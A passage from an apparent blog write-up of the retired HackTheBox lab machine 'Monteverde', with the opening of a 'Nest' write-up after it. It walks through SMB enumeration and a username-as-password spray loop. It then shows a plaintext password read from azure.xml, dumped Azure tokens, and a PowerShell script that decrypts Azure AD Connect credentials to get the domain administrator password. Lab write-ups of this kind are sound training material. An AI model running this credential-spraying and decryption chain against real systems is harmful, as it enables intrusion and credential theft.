Group 'Domain Users' (RID: 513) has member: MEGABANK\krbtgt
Group 'Domain Users' (RID: 513) has member: MEGABANK\AAD_987d7f2f57d2
Group 'Domain Users' (RID: 513) has member: MEGABANK\mhope
Group 'Domain Users' (RID: 513) has member: MEGABANK\SABatchJobs
Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-ata
Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-bexec
Group 'Domain Users' (RID: 513) has member: MEGABANK\svc-netapp
Group 'Domain Users' (RID: 513) has member: MEGABANK\dgalanos
Group 'Domain Users' (RID: 513) has member: MEGABANK\roleary
Group 'Domain Users' (RID: 513) has member: MEGABANK\smorgan
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 614.
Group 'Operations' (RID: 2609) has member: MEGABANK\smorgan
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 614.
Group 'Trading' (RID: 2610) has member: MEGABANK\dgalanos
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 614.
Group 'Domain Guests' (RID: 514) has member: MEGABANK\Guest
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 614.
Group 'Group Policy Creator Owners' (RID: 520) has member: MEGABANK\Administrator
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 614.
Group 'Azure Admins' (RID: 2601) has member: MEGABANK\Administrator
Group 'Azure Admins' (RID: 2601) has member: MEGABANK\AAD_987d7f2f57d2
Group 'Azure Admins' (RID: 2601) has member: MEGABANK\mhope
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 614.
Group 'HelpDesk' (RID: 2611) has member: MEGABANK\roleary
=======================================================================
| Users on 10.10.10.172 via RID cycling (RIDS: 500-550,1000-1050) |
=======================================================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 710.
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 742.
=============================================
| Getting printer info for 10.10.10.172 |
=============================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 995.
Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED
enum4linux complete on Sun Jan 12 09:15:49 2020
</code></pre></div>
<h2>Testing creds</h2>
<p>We put the usernames in a file <code>users</code> and we test every account for password
equal username on the SMB service.</p>
<p>The account <code>SABatchJobs:SABatchJobs</code> seems to be a valide account.</p>
<div class="highlight"><pre><span></span><code># while read l; do crackmapexec smb 10.10.10.172 -u $l -p $l --shares; done < users
CME 10.10.10.172:445 MONTEVERDE [*] Windows 10.0 Build 17763 (name:MONTEVERDE) (domain:MEGABANK)
CME 10.10.10.172:445 MONTEVERDE [-] MEGABANK\Guest:Guest STATUS_LOGON_FAILURE
[*] KTHXBYE!
CME 10.10.10.172:445 MONTEVERDE [*] Windows 10.0 Build 17763 (name:MONTEVERDE) (domain:MEGABANK)
CME 10.10.10.172:445 MONTEVERDE [-] MEGABANK\AAD_987d7f2f57d2:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
[*] KTHXBYE!
CME 10.10.10.172:445 MONTEVERDE [*] Windows 10.0 Build 17763 (name:MONTEVERDE) (domain:MEGABANK)
CME 10.10.10.172:445 MONTEVERDE [-] MEGABANK\mhope:mhope STATUS_LOGON_FAILURE
[*] KTHXBYE!
CME 10.10.10.172:445 MONTEVERDE [*] Windows 10.0 Build 17763 (name:MONTEVERDE) (domain:MEGABANK)
CME 10.10.10.172:445 MONTEVERDE [+] MEGABANK\SABatchJobs:SABatchJobs
[*] KTHXBYE!
CME 10.10.10.172:445 MONTEVERDE [*] Windows 10.0 Build 17763 (name:MONTEVERDE) (domain:MEGABANK)
CME 10.10.10.172:445 MONTEVERDE [-] MEGABANK\svc-ata:svc-ata STATUS_LOGON_FAILURE
[*] KTHXBYE!
CME 10.10.10.172:445 MONTEVERDE [*] Windows 10.0 Build 17763 (name:MONTEVERDE) (domain:MEGABANK)
CME 10.10.10.172:445 MONTEVERDE [-] MEGABANK\svc-bexec:svc-bexec STATUS_LOGON_FAILURE
[*] KTHXBYE!
CME 10.10.10.172:445 MONTEVERDE [*] Windows 10.0 Build 17763 (name:MONTEVERDE) (domain:MEGABANK)
CME 10.10.10.172:445 MONTEVERDE [-] MEGABANK\svc-netapp:svc-netapp STATUS_LOGON_FAILURE
[*] KTHXBYE!
CME 10.10.10.172:445 MONTEVERDE [*] Windows 10.0 Build 17763 (name:MONTEVERDE) (domain:MEGABANK)
CME 10.10.10.172:445 MONTEVERDE [-] MEGABANK\dgalanos:dgalanos STATUS_LOGON_FAILURE
[*] KTHXBYE!
CME 10.10.10.172:445 MONTEVERDE [*] Windows 10.0 Build 17763 (name:MONTEVERDE) (domain:MEGABANK)
CME 10.10.10.172:445 MONTEVERDE [-] MEGABANK\roleary:roleary STATUS_LOGON_FAILURE
[*] KTHXBYE!
CME 10.10.10.172:445 MONTEVERDE [*] Windows 10.0 Build 17763 (name:MONTEVERDE) (domain:MEGABANK)
CME 10.10.10.172:445 MONTEVERDE [-] MEGABANK\smorgan:smorgan STATUS_LOGON_FAILURE
[*] KTHXBYE!
</code></pre></div>
<h2>SMB as SABatchJobs</h2>
<p>We connect to the <code>Users$</code> share with our SABatchJobs account. The first user
folder is empty and the second one give us an other account: mhope.</p>
<div class="highlight"><pre><span></span><code># smbclient //10.10.10.172/Users$ -U "SABatchJobs"%"SABatchJobs"
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Fri Jan 3 08:12:48 2020
.. D 0 Fri Jan 3 08:12:48 2020
dgalanos D 0 Fri Jan 3 08:12:30 2020
mhope D 0 Fri Jan 3 08:41:18 2020
roleary D 0 Fri Jan 3 08:10:30 2020
smorgan D 0 Fri Jan 3 08:10:24 2020
524031 blocks of size 4096. 518419 blocks available
smb: \> cd mhope\
smb: \mhope\> ls
. D 0 Fri Jan 3 08:41:18 2020
.. D 0 Fri Jan 3 08:41:18 2020
azure.xml AR 1212 Fri Jan 3 08:40:23 2020
524031 blocks of size 4096. 518419 blocks available
smb: \mhope\> mget azure.xml
Get file azure.xml? y
getting file \mhope\azure.xml of size 1212 as azure.xml (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
��<objs version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<obj refid="0">
<tn refid="0">
<t>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</t>
<t>System.Object</t>
</tn>
<tostring>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</tostring>
<props>
<dt n="StartDate">2020-01-03T05:35:00.7562298-08:00</dt>
<dt n="EndDate">2054-01-03T05:35:00.7562298-08:00</dt>
<g n="KeyId">00000000-0000-0000-0000-000000000000</g>
<s n="Password">4n0therD4y@n0th3r$</s>
</props>
</obj>
</objs>
</code></pre></div>
<h2>evil-winrm</h2>
<p>We use <a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a> to connect to the
box with our new account. We quickly find the user's flag on the Desktop.</p>
<div class="highlight"><pre><span></span><code># ruby evil-winrm.rb -u mhope -i 10.10.10.172 -p '4n0therD4y@n0th3r$'
Evil-WinRM shell v1.8
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents> cat ../Desktop/user.txt
4961976bd7d8f4eeb2ce3705e2f212f2
</code></pre></div>
<h1>Getting root</h1>
<h2>Azure</h2>
<p>While enumerating more we found some <code>.Azure</code> file containg a few information
about the Azure configuration</p>
<div class="highlight"><pre><span></span><code>*Evil-WinRM* PS C:\Users\mhope\.Azure> ls
Directory: C:\Users\mhope\.Azure
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/3/2020 5:35 AM ErrorRecords
-a---- 1/3/2020 5:31 AM 34 AzurePSDataCollectionProfile.json
-a---- 1/3/2020 5:35 AM 2794 AzureRmContext.json
-a---- 1/3/2020 5:31 AM 191 AzureRmContextSettings.json
-a---- 1/3/2020 5:36 AM 7896 TokenCache.dat
*Evil-WinRM* PS C:\Users\mhope\.Azure> cat AzurePSDataCollectionProfile.json
{"enableAzureDataCollection":true}
*Evil-WinRM* PS C:\Users\mhope\.Azure> cat AzureRmContext.json
{
"DefaultContextKey": "372efea9-7bc4-4b76-8839-984b45edfb98 - john@a67632354763outlook.onmicrosoft.com",
"EnvironmentTable": {},
"Contexts": {
"372efea9-7bc4-4b76-8839-984b45edfb98 - john@a67632354763outlook.onmicrosoft.com": {
"Account": {
"Id": "john@a67632354763outlook.onmicrosoft.com",
"Credential": null,
"Type": "User",
"TenantMap": {},
"ExtendedProperties": {
"Tenants": "372efea9-7bc4-4b76-8839-984b45edfb98"
}
},
"Tenant": {
"Id": "372efea9-7bc4-4b76-8839-984b45edfb98",
"Directory": null,
"ExtendedProperties": {}
},
"Subscription": null,
"Environment": {
"Name": "AzureCloud",
"OnPremise": false,
"ServiceManagementUrl": "https://management.core.windows.net/",
"ResourceManagerUrl": "https://management.azure.com/",
"ManagementPortalUrl": "https://go.microsoft.com/fwlink/?LinkId=254433",
"PublishSettingsFileUrl": "https://go.microsoft.com/fwlink/?LinkID=301775",
"ActiveDirectoryAuthority": "https://login.microsoftonline.com/",
"GalleryUrl": "https://gallery.azure.com/",
"GraphUrl": "https://graph.windows.net/",
"ActiveDirectoryServiceEndpointResourceId": "https://management.core.windows.net/",
"StorageEndpointSuffix": "core.windows.net",
"SqlDatabaseDnsSuffix": ".database.windows.net",
"TrafficManagerDnsSuffix": "trafficmanager.net",
"AzureKeyVaultDnsSuffix": "vault.azure.net",
"AzureKeyVaultServiceEndpointResourceId": "https://vault.azure.net",
"GraphEndpointResourceId": "https://graph.windows.net/",
"DataLakeEndpointResourceId": "https://datalake.azure.net/",
"BatchEndpointResourceId": "https://batch.core.windows.net/",
"AzureDataLakeAnalyticsCatalogAndJobEndpointSuffix": "azuredatalakeanalytics.net",
"AzureDataLakeStoreFileSystemEndpointSuffix": "azuredatalakestore.net",
"AdTenant": "Common",
"VersionProfiles": [],
"ExtendedProperties": {
"OperationalInsightsEndpoint": "https://api.loganalytics.io/v1",
"OperationalInsightsEndpointResourceId": "https://api.loganalytics.io",
"AzureAnalysisServicesEndpointSuffix": "asazure.windows.net",
"AnalysisServicesEndpointResourceId": "https://region.asazure.windows.net",
"AzureAttestationServiceEndpointSuffix": "attest.azure.net",
"AzureAttestationServiceEndpointResourceId": "https://attest.azure.net"
}
},
"VersionProfile": null,
"TokenCache": {
"CacheData": null
},
"ExtendedProperties": {}
}
},
"ExtendedProperties": {}
}
*Evil-WinRM* PS C:\Users\mhope\.Azure> cat AzureRmContextSettings.json
{"Mode":"CurrentUser","ContextDirectory":"C:\\Users\\mhope\\.Azure","ContextFile":"AzureRmContext.json","CacheDirectory":"C:\\Users\\mhope\\.Azure","CacheFile":"TokenCache.dat","Settings":{}}
*Evil-WinRM* PS C:\Users\mhope\.Azure> cat TokenCache.dat
‡https://login.windows.net/372efea9-7bc4-4b76-8839-984b45edfb98/:::https://graph.windows.net/:::1950a258-227b-4e31-a9cf-717495945fc2:::0©{"RefreshToken":"AQABAAAAAACQN9QBRU3jT6bcBQLZNUj7aeQ8R2hfsMQE-DIEEp8rOWPiom2rNwROtUThYh6cCyfB9McL8XdHR94VQSY3KAN-SWuINLqSnI_Lfj-vM1nsCu_Kh51XTceMlWr9mZsNYiX5oCnIBT50bCWIlyeZxmpR7L4sfRp_2iESLU06U0QiHBP7L_HR75crAfpQdJ2oJEn9MWYoxFKIHxXRgAp8fwyKa5yVo5usuanLFGofYzvU6YUGwSFwHskyy_iHdmimggyI7pxp2-C0pSlRp6yZp-4JYyvoeTjxqtXkpMR7VnmJ5qIqJvecNcutXPu-SJDWRvvmW_V2se4V1u1ecuJDe02oAmouL7yp8HrcOBNgn9Jg_f27tHJSbONR-rFWFmeYr-Zi84EJbubYBb7DdzZaoCArbYrgglrAOmz85N9-DMbIJdT7ffteT0hu2rHI6OVDvgckNv-XVhwMF55XtjxxxhpR1EljIq07qCPCqSVoNnoyhDawgyYiNRh0EVr1kf6GEA9bAYNMHgf3VN5WApXbb0VzoxozBKNkNiMybB-uA1d9DLs1eOimxrhoKjsK6cyKTsslGe8qgjcLS0pcRDVvNub1_fKQAXqVB4WZXMo_TDSALh-ctiwVVFNRqTeGsdzcfJe7j3WwzuIiuWfIYydSQKaeRo87qtg6v4dHy4hVBOwm-NPah29sOrSNsyuUydhkNK2QXCwn_hV5-7OCwfSJHG9Dja4r8B_iS0-VvcwzRUT_-2t1eNN8vgRgTlgAdotG330U9SshDgVjg27VHIw-e-57ID7FTEjnVfc4loRNjoNJlSAA","ResourceInResponse":"https:\/\/graph.windows.net\/","Result":{"AccessToken":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6InBpVmxsb1FEU01LeGgxbTJ5Z3FHU1ZkZ0ZwQSIsImtpZCI6InBpVmxsb1FEU01LeGgxbTJ5Z3FHU1ZkZ0ZwQSJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLndpbmRvd3MubmV0LyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzM3MmVmZWE5LTdiYzQtNGI3Ni04ODM5LTk4NGI0NWVkZmI5OC8iLCJpYXQiOjE1NzgwNTgyNzYsIm5iZiI6MTU3ODA1ODI3NiwiZXhwIjoxNTc4MDYyMTc2LCJhY3IiOiIxIiwiYWlvIjoiNDJWZ1lBZ3NZc3BPYkdtYjU4V3ZsK0d3dzhiYXA4bnhoOWlSOEpVQit4OWQ5L0g2MEFBQSIsImFtciI6WyJwd2QiXSwiYXBwaWQiOiIxOTUwYTI1OC0yMjdiLTRlMzEtYTljZi03MTc0OTU5NDVmYzIiLCJhcHBpZGFjciI6IjAiLCJmYW1pbHlfbmFtZSI6IkNsYXJrIiwiZ2l2ZW5fbmFtZSI6IkpvaG4iLCJpcGFkZHIiOiI0Ni40LjIyMy4xNzMiLCJuYW1lIjoiSm9obiIsIm9pZCI6ImU0ZjU2YmMxLTAyMWYtNDc5NS1iY2EyLWJlZGZjODE5ZTkwYSIsInB1aWQiOiIxMDAzMjAwMDkzOTYzMDJCIiwic2NwIjoiNjJlOTAzOTQtNjlmNS00MjM3LTkxOTAtMDEyMTc3MTQ1ZTEwIiwic3ViIjoiVWFTMGI5ZHJsMmlmYzlvSXZjcUFlbzRoY3c1YWpyV3g3bU5DMklrMkRsayIsInRlbmFudF9yZWdpb25fc2NvcGUiOiJFVSIsInRpZCI6IjM3MmVmZWE5LTdiYzQtNGI3Ni04ODM5LTk4NGI0NWVkZmI5OCIsInVuaXF1ZV9uYW1lIjoiam9obkBhNjc2MzIzNTQ3NjNvdXRsb29rLm9ubWljcm9zb2Z0LmNvbSIsInVwbiI6ImpvaG5AYTY3NjMyMzU0NzYzb3V0bG9vay5vbm1pY3Jvc29mdC5jb20iLCJ1dGkiOiJsM2xBR3NBRVYwcVdQelJ1Vkh4U0FBIiwidmVyIjoiMS4wIn0.czHUwYjleGp2C1c_BMZIZkEHz-12R86qmngaiyTeTW_bM659hqetbQylvf_qCJDuxD8e28H6Oqw5Hn1Hwij7yHK-kOjUeUlXkGyzFhQbDf3CQLvFsZioUiHHiighrVjZfu6Rolv8fxoG3Q8cXS-Ms_Wm6RI-zcaK9Eyu841D51jzvYI60rC9HTummktfVURP2xf3DnskqjJF1dDlSi62gPGXGk0xZordZFiGoYAtv8qiMAiSCioN_sw_xWRJ250nvw90biQ1NkPRpSGf8jNpbYktB0Ti8-sNblaGRJBQqmHxZ-0PkSq31op2CzHN7wwYCJOEoJpOtS-x4j1DGZ19hA","AccessTokenType":"Bearer","ExpiresOn":{"DateTime":"\/Date(1578062173584)\/","OffsetMinutes":0},"ExtendedExpiresOn":{"DateTime":"\/Date(1578062173584)\/","OffsetMinutes":0},"ExtendedLifeTimeToken":false,"IdToken":"eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdWQiOiIxOTUwYTI1OC0yMjdiLTRlMzEtYTljZi03MTc0OTU5NDVmYzIiLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8zNzJlZmVhOS03YmM0LTRiNzYtODgzOS05ODRiNDVlZGZiOTgvIiwiaWF0IjoxNTc4MDU4Mjc2LCJuYmYiOjE1NzgwNTgyNzYsImV4cCI6MTU3ODA2MjE3NiwiYW1yIjpbInB3ZCJdLCJmYW1pbHlfbmFtZSI6IkNsYXJrIiwiZ2l2ZW5fbmFtZSI6IkpvaG4iLCJpcGFkZHIiOiI0Ni40LjIyMy4xNzMiLCJuYW1lIjoiSm9obiIsIm9pZCI6ImU0ZjU2YmMxLTAyMWYtNDc5NS1iY2EyLWJlZGZjODE5ZTkwYSIsInN1YiI6Inl2V2x2eEFSbE84V0pKN0dUUmFYb0p0MHAwelBiUkRIX0EtcC1FTEtFdDgiLCJ0aWQiOiIzNzJlZmVhOS03YmM0LTRiNzYtODgzOS05ODRiNDVlZGZiOTgiLCJ1bmlxdWVfbmFtZSI6ImpvaG5AYTY3NjMyMzU0NzYzb3V0bG9vay5vbm1pY3Jvc29mdC5jb20iLCJ1cG4iOiJqb2huQGE2NzYzMjM1NDc2M291dGxvb2sub25taWNyb3NvZnQuY29tIiwidmVyIjoiMS4wIn0.","TenantId":"372efea9-7bc4-4b76-8839-984b45edfb98","UserInfo":{"DisplayableId":"john@a67632354763outlook.onmicrosoft.com","FamilyName":"Clark","GivenName":"John","IdentityProvider":"https:\/\/sts.windows.net\/372efea9-7bc4-4b76-8839-984b45edfb98\/","PasswordChangeUrl":null,"PasswordExpiresOn":null,"UniqueId":"e4f56bc1-021f-4795-bca2-bedfc819e90a"}},"UserAssertionHash":null}‘https://login.windows.net/372efea9-7bc4-4b76-8839-984b45edfb98/:::https://management.core.windows.net/:::1950a258-227b-4e31-a9cf-717495945fc2:::0‡{"RefreshToken":"AQABAAAAAACQN9QBRU3jT6bcBQLZNUj7aeQ8R2hfsMQE-DIEEp8rOWPiom2rNwROtUThYh6cCyfB9McL8XdHR94VQSY3KAN-SWuINLqSnI_Lfj-vM1nsCu_Kh51XTceMlWr9mZsNYiX5oCnIBT50bCWIlyeZxmpR7L4sfRp_2iESLU06U0QiHBP7L_HR75crAfpQdJ2oJEn9MWYoxFKIHxXRgAp8fwyKa5yVo5usuanLFGofYzvU6YUGwSFwHskyy_iHdmimggyI7pxp2-C0pSlRp6yZp-4JYyvoeTjxqtXkpMR7VnmJ5qIqJvecNcutXPu-SJDWRvvmW_V2se4V1u1ecuJDe02oAmouL7yp8HrcOBNgn9Jg_f27tHJSbONR-rFWFmeYr-Zi84EJbubYBb7DdzZaoCArbYrgglrAOmz85N9-DMbIJdT7ffteT0hu2rHI6OVDvgckNv-XVhwMF55XtjxxxhpR1EljIq07qCPCqSVoNnoyhDawgyYiNRh0EVr1kf6GEA9bAYNMHgf3VN5WApXbb0VzoxozBKNkNiMybB-uA1d9DLs1eOimxrhoKjsK6cyKTsslGe8qgjcLS0pcRDVvNub1_fKQAXqVB4WZXMo_TDSALh-ctiwVVFNRqTeGsdzcfJe7j3WwzuIiuWfIYydSQKaeRo87qtg6v4dHy4hVBOwm-NPah29sOrSNsyuUydhkNK2QXCwn_hV5-7OCwfSJHG9Dja4r8B_iS0-VvcwzRUT_-2t1eNN8vgRgTlgAdotG330U9SshDgVjg27VHIw-e-57ID7FTEjnVfc4loRNjoNJlSAA","ResourceInResponse":"https:\/\/management.core.windows.net\/","Result":{"AccessToken":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6InBpVmxsb1FEU01LeGgxbTJ5Z3FHU1ZkZ0ZwQSIsImtpZCI6InBpVmxsb1FEU01LeGgxbTJ5Z3FHU1ZkZ0ZwQSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuY29yZS53aW5kb3dzLm5ldC8iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8zNzJlZmVhOS03YmM0LTRiNzYtODgzOS05ODRiNDVlZGZiOTgvIiwiaWF0IjoxNTc4MDU4MjU3LCJuYmYiOjE1NzgwNTgyNTcsImV4cCI6MTU3ODA2MjE1NywiYWNyIjoiMSIsImFpbyI6IjQyVmdZSGc3ajlGN3oxK24renhKZktXQmpxcWRYMzFEVDNLc2ovL2FzT1d5VFcycTNRSUEiLCJhbXIiOlsicHdkIl0sImFwcGlkIjoiMTk1MGEyNTgtMjI3Yi00ZTMxLWE5Y2YtNzE3NDk1OTQ1ZmMyIiwiYXBwaWRhY3IiOiIwIiwiZmFtaWx5X25hbWUiOiJDbGFyayIsImdpdmVuX25hbWUiOiJKb2huIiwiZ3JvdXBzIjpbImM3OTRlNzE3LTIxZWYtNDljZS1hZjAwLTljMDEwZGM0MWE3NiJdLCJpcGFkZHIiOiI0Ni40LjIyMy4xNzMiLCJuYW1lIjoiSm9obiIsIm9pZCI6ImU0ZjU2YmMxLTAyMWYtNDc5NS1iY2EyLWJlZGZjODE5ZTkwYSIsInB1aWQiOiIxMDAzMjAwMDkzOTYzMDJCIiwic2NwIjoidXNlcl9pbXBlcnNvbmF0aW9uIiwic3ViIjoid1U4Y1RtUm5tTzM2Z1E5MEx4VUNiN0tGMXZ3NlVUVlVKa1VPNThJd3NVTSIsInRpZCI6IjM3MmVmZWE5LTdiYzQtNGI3Ni04ODM5LTk4NGI0NWVkZmI5OCIsInVuaXF1ZV9uYW1lIjoiam9obkBhNjc2MzIzNTQ3NjNvdXRsb29rLm9ubWljcm9zb2Z0LmNvbSIsInVwbiI6ImpvaG5AYTY3NjMyMzU0NzYzb3V0bG9vay5vbm1pY3Jvc29mdC5jb20iLCJ1dGkiOiI4MjNlVzFyWmZFQ1hEV2lHaHQ1UkFBIiwidmVyIjoiMS4wIiwid2lkcyI6WyI2MmU5MDM5NC02OWY1LTQyMzctOTE5MC0wMTIxNzcxNDVlMTAiXX0.ja68GQ9Suvm8-6a732DZy7Z7Q62XnmL0hsVnMKP3L-u7KB9W8nafebCzEmwhAoAzEqVOKfApM8VjOALGJcgz60sYbN0JtK4RaHCiF0yQogGTvgFe3FMB-26wCxGo-d_hTxiPiFUGfTuqSMzprXfBEKLneXNKcLlkav2pPNAhLD_HoshDaznMPlt2W00rq6hJII032WoZQMPYMLJmnub4pi2N3ScroWO3zDQ16wpoFCOSYbuqoLKSm-FLN8yEhTJDf2umcOaLVE7jtnHba_rEPyC_sBtIedl1nSR8kr7A9B8dBvn0pC3M7gYIVpVwIana6pni6I8jaMwH_-3aJmCLhw","AccessTokenType":"Bearer","ExpiresOn":{"DateTime":"\/Date(1578062154521)\/","OffsetMinutes":0},"ExtendedExpiresOn":{"DateTime":"\/Date(1578062154521)\/","OffsetMinutes":0},"ExtendedLifeTimeToken":false,"IdToken":"eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdWQiOiIxOTUwYTI1OC0yMjdiLTRlMzEtYTljZi03MTc0OTU5NDVmYzIiLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8zNzJlZmVhOS03YmM0LTRiNzYtODgzOS05ODRiNDVlZGZiOTgvIiwiaWF0IjoxNTc4MDU4MjU3LCJuYmYiOjE1NzgwNTgyNTcsImV4cCI6MTU3ODA2MjE1NywiYW1yIjpbInB3ZCJdLCJmYW1pbHlfbmFtZSI6IkNsYXJrIiwiZ2l2ZW5fbmFtZSI6IkpvaG4iLCJpcGFkZHIiOiI0Ni40LjIyMy4xNzMiLCJuYW1lIjoiSm9obiIsIm9pZCI6ImU0ZjU2YmMxLTAyMWYtNDc5NS1iY2EyLWJlZGZjODE5ZTkwYSIsInN1YiI6Inl2V2x2eEFSbE84V0pKN0dUUmFYb0p0MHAwelBiUkRIX0EtcC1FTEtFdDgiLCJ0aWQiOiIzNzJlZmVhOS03YmM0LTRiNzYtODgzOS05ODRiNDVlZGZiOTgiLCJ1bmlxdWVfbmFtZSI6ImpvaG5AYTY3NjMyMzU0NzYzb3V0bG9vay5vbm1pY3Jvc29mdC5jb20iLCJ1cG4iOiJqb2huQGE2NzYzMjM1NDc2M291dGxvb2sub25taWNyb3NvZnQuY29tIiwidmVyIjoiMS4wIn0.","TenantId":"372efea9-7bc4-4b76-8839-984b45edfb98","UserInfo":{"DisplayableId":"john@a67632354763outlook.onmicrosoft.com","FamilyName":"Clark","GivenName":"John","IdentityProvider":"https:\/\/sts.windows.net\/372efea9-7bc4-4b76-8839-984b45edfb98\/","PasswordChangeUrl":null,"PasswordExpiresOn":null,"UniqueId":"e4f56bc1-021f-4795-bca2-bedfc819e90a"}},"UserAssertionHash":null}
</code></pre></div>
<h2>Password Hash Synchronisation</h2>
<p>A few goolge search lead us to this article about
<a href="https://blog.xpnsec.com/azuread-connect-for-redteam/">Azure AD Connect for Red Teamers</a>.</p>
<p>We try the POC in the article on our box but the first line seems wrong as we
get an error when we try to connect to the local DB. The trick is to use
<code>trusted_connection</code> and to have the <code>Data source</code> set to <code>.</code>.</p>
<p>Then we easily retrive the administrator password.</p>
<div class="highlight"><pre><span></span><code>*Evil-WinRM* PS C:> $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=.;Initial Catalog=ADSync;trusted_connection=true;"
*Evil-WinRM* PS C:> $client.Open()
*Evil-WinRM* PS C:> $cmd = $client.CreateCommand()
*Evil-WinRM* PS C:> $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
*Evil-WinRM* PS C:> $reader = $cmd.ExecuteReader()
*Evil-WinRM* PS C:> $reader.Read() | Out-Null
*Evil-WinRM* PS C:> $key_id = $reader.GetInt32(0)
*Evil-WinRM* PS C:> $instance_id = $reader.GetGuid(1)
*Evil-WinRM* PS C:> $entropy = $reader.GetGuid(2)
*Evil-WinRM* PS C:> $reader.Close()
*Evil-WinRM* PS C:> $cmd = $client.CreateCommand()
*Evil-WinRM* PS C:> $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
*Evil-WinRM* PS C:> $reader = $cmd.ExecuteReader()
*Evil-WinRM* PS C:> $reader.Read() | Out-Null
*Evil-WinRM* PS C:> $config = $reader.GetString(0)
*Evil-WinRM* PS C:> $crypted = $reader.GetString(1)
*Evil-WinRM* PS C:> $reader.Close()
*Evil-WinRM* PS C:> add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll’
*Evil-WinRM* PS C:> $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
*Evil-WinRM* PS C:> $km.LoadKeySet($entropy, $instance_id, $key_id)
*Evil-WinRM* PS C:> $key = $null
*Evil-WinRM* PS C:> $km.GetActiveCredentialKey([ref]$key)
*Evil-WinRM* PS C:> $key2 = $null
*Evil-WinRM* PS C:> $km.GetKey(1, [ref]$key2)
*Evil-WinRM* PS C:> $decrypted = $null
*Evil-WinRM* PS C:> $key2.DecryptBase64ToString($crypted, [ref]$decrypted)
*Evil-WinRM* PS C:> $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
*Evil-WinRM* PS C:> $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
*Evil-WinRM* PS C:> $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
*Evil-WinRM* PS C:> Write-Host ("Domain: " + $domain.Domain)
Domain: MEGABANK.LOCAL
*Evil-WinRM* PS C:> Write-Host ("Username: " + $username.Username)
Username: administrator
*Evil-WinRM* PS C:> Write-Host ("Password: " + $password.Password)
Password: d0m@in4dminyeah!
</code></pre></div>
<p>We connect to the box with the domain admin account and retrieve the root flag.</p>
<div class="highlight"><pre><span></span><code>root@kalili:~/tools/github/evil-winrm# ruby evil-winrm.rb -u administrator -i 10.10.10.172 -p 'd0m@in4dminyeah!'
Evil-WinRM shell v1.8
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
12909612d25c8dcf6e5a07d1a804a0bc
</code></pre></div>
<h1>Wrapping up</h1>
<p>The user part of the box was classical and quit easy. The root part allow me to
learn a few things about Azure, Azure AD and how the Password Hash
Synchronisation works.</p>HTB: Nest2020-06-07T17:25:00+02:002020-06-07T17:25:00+02:00maggicktag:maggick.fr,2020-06-07:/2020/06/htb-nest.html<p><img alt="Nest card" class="align-left" src="/media/2020.06/nest_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/225">Nest</a>
This box is classified as an easy machine. It was publish on January the 25th by
<a href="https://www.hackthebox.com/home/users/profile/158833">VbScrub</a>.
This box is a bit different that the other ones on HTB. Until the last step you
never have a shell on the box (and none is needed to root it). All commands and
enumeration are done on the SMB service. There is also a personnalized service
HQK.</p>
<p>Getting user involve understanding a bit of cryptography (homemade combination
of base64 and AES) but nothing too complexe.</p>
